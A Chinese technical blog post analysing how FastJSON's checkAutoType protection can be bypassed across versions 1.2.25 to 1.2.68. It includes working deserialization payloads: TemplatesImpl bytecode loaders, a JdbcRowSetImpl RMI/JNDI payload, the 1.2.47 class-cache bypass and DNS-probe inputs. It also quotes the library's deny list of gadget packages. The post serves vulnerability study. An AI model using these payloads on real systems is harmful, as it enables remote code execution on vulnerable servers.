FastJSON checkAutoType 绕过
FastJSON checkAutoType 绕过
本文章全程参考:Fastjson 反序列化历史漏洞分析 并做了一点补充。
在maven仓库中,FastJSON vulnerability 只被标注到 \(1.2.24\) 版本,也即是不对类型进行检查的最后一个版本。但本身还是能够找到很多可以被利用的点。

checkAutoType
1.2.25
FastJSON \(1.2.25-1.2.41\) 版本在反序列化时,添加了 checkAutoType 方法。
在 com.alibaba.fastjson.parser.ParserConfig 中有这么一个方法:


逻辑
开始会有个替换 $ 为 . 的操作,是为了正确加载类内作用域定义的类(局部类),比如类 A 中定义了 B,最终B会被编译为 A$B,而在程序内的类名为 A.B。
存在 acceptList 与 denyList :
- 如果类名与
acceptList其中一项的开始相符合,这加载该类; - 如果类名与
denyList其中一项的开始相符合,这抛出异常JSONException("autoType is not support. " + typeName)
对于 autoTypeSupport 值为 true 时,会先与 acceptList 进行匹配;
对于 autoTypeSupport 值为 false时,会先与 denytList 进行匹配;
而且最后如果加载的 Class 是 Classloader 或 DataSource 的类型或子类(实现类)的类型,也会抛出 JSONException 。
调用栈
checkAutoType:805, ParserConfig (com.alibaba.fastjson.parser)
parseObject:322, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:137, JSON (com.alibaba.fastjson)
parse:128, JSON (com.alibaba.fastjson)
checkAutoType 方法会在 DefaultJSONParser 的 public final Object parseObject(final Map object, Object fieldName) 中被调用:

注:这个
JSON.DEFAULT_TYPE_KEY就是字符串@type。
也就是说如果json 键为 @type 且没有加入参数或 Feature.DisableSpecialKeyDetect 那么就会进入 checkAutoType 检查该类名是否在 acceptList 或 denyList 中。
注意:该方法在无Class参数的
parse方法中被调用,所以对于指定了Class的parse不会调用此方法。
acceptList 与 denyList 的初始化
这两个列表被定义在 ParserConfig 中,通过静态代码快在载入时初始化:

autoTypeSupport
由 getStringProperty 获取,最终从 System.getProperty 或 DEFAULT_PROPERTIES.getProperty
获取(如果 System.getProperty 获取值为 null 的话)。

denyList
String[] denyList 被定义与 com.alibaba.fastjson.parser.ParserConfig 中,包含一个初始值:
private String[] denyList = "bsh,com.mchange,com.sun.,java.lang.Thread,java.net.Socket,java.rmi,javax.xml,org.apache.bcel,org.apache.commons.beanutils,org.apache.commons.collections.Transformer,org.apache.commons.collections.functors,org.apache.commons.collections4.comparators,org.apache.commons.fileupload,org.apache.myfaces.context.servlet,org.apache.tomcat,org.apache.wicket.util,org.codehaus.groovy.runtime,org.hibernate,org.jboss,org.mozilla.javascript,org.python.core,org.springframework".split(",");
即:
bsh,com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel,org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat,org.apache.wicket.util
org.codehaus.groovy.runtime
org.hibernate,org.jboss
org.mozilla.javascript
org.python.core,org.springframework
部分是具体的类,部分是包
注意:可以看到
denyList中包含com.sun,故com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl与com.sun.rowset.JdbcRowSetImpl利用链在该版本以及之后就不可用了。
在 ParserConfig 的构造方法最后会调用 addItemsToDeny(DENYS),即将 DENYS 中的元素添加进 denyList 中;
而 String[] DENYS 是在静态代码块中赋值的,通过 getStringProperty(DENY_PROPERTY) 来获取属性值;如果无法从 System.getProperty 获取,这从自定义的 DEFAULT_PROPERTIES 中获取;
获取属性值 property 之后 ,便通过 splitItemsFormProperty(property) 确定 DENYS 元素列表。

将该属性值以 , 分割,就为 DENYS (可能为null)。最终元素都会被添加到 denyList 中。
其实从这里就可以看出,列表就是单纯依靠
,分割的,多一个空格都不行。
当然 ParseConfig 提供了addDeny(String) 方法,以便将类名添加进 denyList;
注:全局
ParserConfig对象可以通过ParserConfig.getGlobalInstance方法获取。
acceptList
初始化方式与 denyList 类似;不同的是,该列表初始为空列表,之后通过 String [] AUTO_TYPE_ACCEPT_LIST 确定元素。
而 AUTO_TYPE_ACCEPT_LIST 也是通过获取 property:fastjson.parser.autoTypeAccept 的值并以 , 分割得到的;如果返回值为 null,这最终为空列表。
例:未设置相应属性值的正常情况下的 PaserConfig 实例:

例:在 FastJSON \(1.2.25\) 中,自定义 item.Value, 如果不设置系统属性值,则会抛出 com.alibaba.fastjson.JSONException: autoType is not support. item.Value;设置 fastjson.parser.autoTypeAccept 属性之后,可解决该问题
package item;
public class Value {
public Value(){}
public int getV() {return 1;}
public void setV(int v) {}
}
@Test
public void property() {
System.setProperty("fastjson.parser.autoTypeAccept", "niss,whatever,item")
Object i = new Value();
String payload = JSON.toJSONString(i, SerializerFeature.WriteClassName);
System.out.println(payload);
Object o = JSON.parseObject(payload);
System.out.println(o);
}
{"@type":"item.Value","v":1}
{"v":1}

例:在 FastJSON \(1.2.25\) 中,使用 TemplatesImpl 利用链是会抛出 JSONException: autoType not support 的,但是设置如下系统属性就可成功执行反序列化PoC:
System.setProperty("fastjson.parser.autoTypeSupport", "true");
System.setProperty("fastjson.parser.autoTypeAccept", "com.sun");

注意:由于这几个属性都是静态代码块生成的,所以需要在FastJSON相关类被载入之前就设置属性。
当然 ParseConfig 提供了addAccept(String) 方法,以便将类名添加进 acceptList;
关于 autoTypeSupport 值的设置,ParserConfig 提供了 setAutoTypeSupport(bool) 方法;
绕过方式
查看 checkAutoType 方法,匹配到 acceptList 的类名最终作为 TypeUtils.loadClass 的参数。
TypeUtils.loadClass 方法

也就是以 [ 开头 或者 以L 开头且以 ; 结尾 的类名会被去掉字符后,在通过类名载入对应类。
为了绕开 DENY 匹配,可以将待反序列化json中 @type 的值添加相应字符,即可。
注意:由于
[会被检测为json数组开始,所以一般用L+;。
但是 checkAutoType 方法的最后:当 autoTypeSuppoer 为 false 时,会始终抛出 JSONException,所以要以该方式绕过,则需要将其设置为 true:

注意:发现
loadClass按照递归处理,所以要修改 json 中的每个键值对的@type值。
例:
System.setProperty("fastjson.parser.autoTypeSupport", "true");
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
byte[] bytes = Files.readAllBytes(new File("target/classes/exploit/TransletExecutor.class").toPath());
String encoded = "\""+new String(Base64.getEncoder().encode(bytes))+"\"";
String data = "{\"@type\":\"Lcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;\"," +
"\"_bytecodes\":["+encoded+"]," +
"\"_name\":\"a.b\"," +
"\"_tfactory\":{}," +
"\"_outputProperties\":{}\n}";
JSON.parseObject(data,Feature.SupportNonPublicField);

该方法对 \(1.2.25\leq version \leq 1.2.41\) 有效。
1.2.42 哈希列表
FastJSON \(1.2.42\)
该版本以及之后版本中, acceptList 与 denyList 变成了 private long[] denyHashCodes 与 private long[] acceptHashCodes ,而且 denyHashCodes 为:

之后所有的类名会经过 TypeUtils.fnv1a_64 方法处理变为long之后,存入对应列表中。
其他并没有大变化,这包括这些静态变量的初始化过程:

而且该系列版本在匹配 acceptHashCodes 或 denyHashCodes 之前就去除了 [、或 (L与;)。
例:由于这些静态列表初始化时还是依赖于 System.Property 所以,通过设置系统属性值依旧有效
System.setProperty("fastjson.parser.autoTypeSupport", "true");
// 或 ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
System.setProperty("fastjson.parser.autoTypeAccept", "com.sun");
// 或 ParserConfig.getGlobalInstance().addAccept("com.sun");
byte[] bytes = Files.readAllBytes(new File("target/classes/exploit/TransletExecutor.class").toPath());
String encoded = "\""+new String(Base64.getEncoder().encode(bytes))+"\"";
String data = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"," +
"\"_bytecodes\":["+encoded+"]," +
"\"_name\":\"a.b\"," +
"\"_tfactory\":{}," +
"\"_outputProperties\":{}\n}";
JSON.parseObject(data,Feature.SupportNonPublicField);

主要是中间做了一些改变:

发现之前初始化时对列表排序,是为了在这使用二分查找 🧐。
会发现在与列表匹配之前,有一段去字符的代码,通过猜测发现其作用正是去掉开头的 L 与结尾的 ;:
((((0xcbf29ce484222325L ^ 'L') * 0x100000001b3L) ^ ';') * 0x100000001b3L) == 0x9198507b5af98f0L
true
黑白名单破解
github项目:https://github.com/LeadroyaL/fastjson-blacklist
通过对包名、类名做同样的算法处理,与其进行匹配,还原了部分 hashCode 对应的 String 。
绕过方式
由于在之前就被去掉一次字符(如果字符匹配的话),而且调用 TypeUtils.loadClass 方法时会再次去掉一次,所以双写相应字符即可:
- 双写
ClassName==>LLClassName;;
例:
System.setProperty("fastjson.parser.autoTypeSupport", "true");
// 或 ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
byte[] bytes = Files.readAllBytes(new File("target/classes/exploit/TransletExecutor.class").toPath());
String encoded = "\""+new String(Base64.getEncoder().encode(bytes))+"\"";
String data = "{\"@type\":\"LLcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;;\"," +
"\"_bytecodes\":["+encoded+"]," +
"\"_name\":\"a.b\"," +
"\"_tfactory\":{}," +
"\"_outputProperties\":{}\n}";
JSON.parseObject(data,Feature.SupportNonPublicField);
由于之前版本最多去除一次字符,该方式只对 \(1.2.42\) 版本有效。

1.2.43 对LL的检测
LL 字符抛异常
FastJSON \(1.2.43\)
在该版本中,在 checkAutoType 增加了开头的 LL 匹配:

(((0xcbf29ce484222325L^'L')* 0x100000001b3L)^'L')*0x100000001b3L == 0x9195c07b5af5345L
true
如果 className 前两个字符为 LL,这抛出异常。
绕过方式
mybatis
org.apache.ibatis.datasource.jndi.JndiDataSourceFactory 在 \(1.2.46\) 版本才被加入到黑名单,所以如果服务端依赖于 Mybatis,可以利用该调用链。
数组
由于 [ 开头的 ClassName 表示数组类型,且观察下面的json:
{
"@type":"[com.sun.rowset.JdbcRowSetImpl",
}
抛出的异常说明:对于 JdbcRowSetImpl 类型的数组, FastJSON 预期 [ 但是获得了 ,:

也就是说明对于这种 Object数组的json的形式可能为:
{
"@type":"[ClassName"[
{
},
{
},
...
]
}
例:验证猜想
@Test
public void test(){
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String data = "{\n" +
"\t\"@type\":\"[item.Value\"[\n" +
" {\n" +
" \"v\":1, \n" +
" },\n" +
" {\n" +
" \"v\":2,\n" +
" }\n" +
" ]\n" +
"}";
System.out.println(JSON.parse(data));
}

发现调用了两次 construct 与 set 方法,说明确实进行了两次实例化;但是发现异常说明中有:多出了一个 },所以正确形式为:
{
"@type":"LClassName"[
{
},
{
},
...
]

这也证明了之前版本的绕过中,也可以用开头添加
[的方式进行绕过,而不会被认为是错误的“开始符”。
所以可以构造 payload:
{
"@type":"[com.sun.rowset.JdbcRowSetImpl"[
{
"dataSourceName":"rmi://127.0.0.1:1099/exec",
"autoCommit":true
},
]
该 payload 对 \(\leq 1.2.43\) 都有效。

1.2.44 匹配 [ClassName 或 LClassName;
在 FastJSON \(1.2.44\) 版本中的 checkAutoType 方法中新增:

(0xcbf29ce484222325L^'[')*0x100000001b3L == 0xaf64164c86024f1aL
true
(((0xcbf29ce484222325L^'L')*0x100000001b3L)^';')*0x100000001b3L == 0x9198507b5af98f0L
true
可见 [ 开头或者 L开头、; 结尾的绕过方式已经无效了。
绕过方式
mybatis利用链,该版本还没被禁用。
1.2.47 mapping 写入
payload:
[
{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://127.0.0.1:1099/exec",
"autoCommit":true
}
]
该方式对 FastJSON \(\leq 1.2.47\) 版本都生效,且不需要开启
autoTypeSupport。
过程分析
由于 java.lang.Class 不在黑、白名单中,在 checkAutoType 方法中会进入 TypeUtils.getClassFromMapping(typeName) :

而该方法会尝试从一个 TypeUtils 中的 ConcurrentMap<String,Class<?>> mappings 取对应的类,但实际上是没有的,进入 deserializers.findClass(typeName):

IdentityHashMap(deserialisers 的类型)#findClass 方法被调用:

buckets中存放了一些 java.lang、java.util、java.net 等常用类,其中包括 java.lang.Class,最终会被返回。
回到 checkAutoType 中,只要 expectClass 为null或是HashMap类型,或为expectClass的子类,都会直接返回:

DefaultJSONParser
返回至 DefaultJSONParser#parseObject(final Map object, Object fieldName) 方法,运行到:

会通过返回的 Class 对象获取一个 ObjectDeserializer ,并调用 deserialze 方法反序列化。
deserialze
该方法好像是用于监测一些特殊类,并监测对应的特殊字段:
例:
该方法会不断地接受json字符,并解析将值赋给 objVal(如果json键不是 val 会抛出异常):

之后如果 objVal 是String类型,则会将其赋给 strVal:

有一步会判断如果传入的 clazz 是 Class 类型,那么就回去加载 strVal 表示的类,并返回:

注意:这里会对很多类型进行检测,并生成相应的对象:
UUID=>UUID.fromString(strVal)
URI=>URI.create(strVal)
URL=>new URL(strVal)
Pattern=>Pattern.compile(strVal)
InetAddress/Inet4Address/Inet6Address=>InetAddress.getByName(strVal)
File=>new File(strVal)...
这个
strVal就是json中的val的值。其中可以看到有网络相关的,可以利用如下payload 进行DNS探测:
{ "@type":"java.net.InetAddress", "val":"yeeabi.dnslog.cn" }
{"@type":"java.net.InetAddress","val":"dnslog"} {"@type":"java.net.Inet4Address","val":"dnslog"} {"@type":"java.net.Inet6Address","val":"dnslog"} {"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}} {{"@type":"java.net.URL","val":"http://dnslog"}:"x"} {"@type":"com.alibaba.fastjson.JSONObject",{"@type":"java.net.URL","val":"http://dnslog"}}""} Set[{"@type":"java.net.URL","val":"http://dnslog"}] Set[{"@type":"java.net.URL","val":"http://dnslog"} {{"@type":"java.net.URL","val":"http://dnslog"}:0 https://github.com/alibaba/fastjson/issues/3841 最新版 1.2.76 开启safeMode {"ss":{"@type":"com.alibaba.fastjson.JSONObject",{"@type":"java.net.URL","val":"http://xxx.dnslog.cn"}}""},}
可以看到 json中 val 表示的类会被成功加载:

TypeUtils#loadClass
TypeUtils#loadClass 中,如果 cache 为真,这会将加载的类添加进 mapping 中:

此时payload中的第二个项的类已经在 mapping 中了!
真正的恶意类的反序列化
接下来到了对 JdbcRowSetImpl 的 checkAutoType 中了:

由于从此时可以从 TypeUtils.getClassFromMapping 成功找到该类,即使在 denyHashCodes 中匹配,下面的条件也不会成立:

再调用一次TypeUtils.getClassFromMapping,返回该类之后,就是对该类的实例化以及属性写入了。

1.2.68 safeMode
FastJSON \(1.2.68\)
一些变动
加入 INTERNAL_WHITELIST_HASHCODES 作为额外的白名单:

方法开始会使用 ParserConfig 内部定义的接口 AutoTypeCheckHandler 去处理(为null跳过);
checkAutoType 会检验 Feature.SafeMode ,如果提供了则直接抛异常 JSONEXception(safeMode not support autoType : typeName):

在 DefaultJSONParser 中也做了修改,无法使用Class的val将类写入mapping了。
参考:



浙公网安备 33010602011771号